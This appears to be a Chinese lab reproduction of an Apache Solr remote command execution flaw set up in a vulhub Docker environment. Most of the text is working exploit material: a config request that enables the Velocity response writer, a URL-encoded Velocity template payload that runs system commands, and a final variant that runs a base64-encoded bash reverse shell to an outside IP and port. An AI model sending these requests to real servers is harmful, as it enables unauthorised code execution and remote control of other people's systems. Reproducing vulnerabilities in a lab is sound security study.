Apache Solr远程命令执行复现

环境

/vulhub/solr/CVE-2019-0193/

Apache Solr远程命令执行复现-LMLPHP

创建一个集合

docker-compose exec solr bash bin/solr create_core -c test -d example/example-DIH/solr/db

Apache Solr远程命令执行复现-LMLPHP

正戏

POST /solr/创建的集合/config HTTP/1.1

Host: solr:8983

Content-Type: application/json

Content-Length: 259

{

  "update-queryresponsewriter": {

    "startup": "lazy",

    "name": "velocity",

    "class": "solr.VelocityResponseWriter",

    "template.base.dir": "",

    "solr.resource.loader.enabled": "true",

    "params.resource.loader.enabled": "true"

  }

}

Apache Solr远程命令执行复现-LMLPHP

GET /solr/test/select?q=1&&wt=velocity&v.template=custom&v.template.custom=%23set($x=%27%27)+%23set($rt=$x.class.forName(%27java.lang.Runtime%27))+%23set($chr=$x.class.forName(%27java.lang.Character%27))+%23set($str=$x.class.forName(%27java.lang.String%27))+%23set($ex=$rt.getRuntime().exec(%27id%27))+$ex.waitFor()+%23set($out=$ex.getInputStream())+%23foreach($i+in+[1..$out.available()])$str.valueOf($chr.toChars($out.read()))%23end HTTP/1.1

Host: localhost:8983

Apache Solr远程命令执行复现-LMLPHP

反弹shell

http://192.168.250.137:8983/solr/test/select?q=1&&wt=velocity&v.template=custom&v.template.custom=%23set($x=%27%27)+%23set($rt=$x.class.forName(%27java.lang.Runtime%27))+%23set($chr=$x.class.forName(%27java.lang.Character%27))+%23set($str=$x.class.forName(%27java.lang.String%27))+%23set($ex=$rt.getRuntime().exec(%27bash+-c+%7Becho%2CYmFzaCAtaSA%2BJiAvZGV2L3RjcC8xMS4yMDMuMi4yMTgvMTIzNCAwPiYx%7D%7C%7Bbase64%2C-d%7D%7C%7Bbash%2C-i%7D%27))+$ex.waitFor()+%23set($out=$ex.getInputStream())+%23foreach($i+in+[1..$out.available()])$str.valueOf($chr.toChars($out.read()))%23end

Apache Solr远程命令执行复现-LMLPHP